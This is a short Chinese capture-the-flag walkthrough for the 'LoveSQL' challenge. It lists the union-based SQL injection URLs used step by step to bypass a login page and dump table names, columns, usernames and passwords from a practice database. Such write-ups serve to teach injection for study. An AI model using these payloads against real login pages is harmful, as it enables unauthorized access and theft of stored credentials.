[极客大挑战 2019]LoveSQL
注入过程及思路
首先进行万能密码测试
/check.php?username=1' or 1=1 #&password=1
发现存在注入
接着查显位点
/check.php?username=admin' order by 4 #&password=1
当字段数为4时,页面回显错误,使用union查询回显点位:
/check.php?username=aa' union select 0,1,2#&password=1
得到显位点
爆破库
/check.php?username=aa' union select 0,1,database()#&password=1
得到库名"geek"
爆破表
/check.php?username=aa' union select 0,1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
表:geekuser,l0ve1ysq1
爆字段:
/check.php?username=aa' union select 0,1,group_concat(column_name) from information_schema.columns where table_name='geekuser' --+
字段:id,username,password
爆用户:
/check.php?username=aa' union select 0,1,group_concat(username) from geekuser #
geekuser 表中并无flag flag在l0ve1ysq1表中
爆密码:
/check.php?username=aa' union select 0,1,group_concat(password) from l0ve1ysq1 #
也可以:
/check.php?username=aa' union select 0,1,group_concat(username,0x3a,password) from l0ve1ysq1 #
#0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。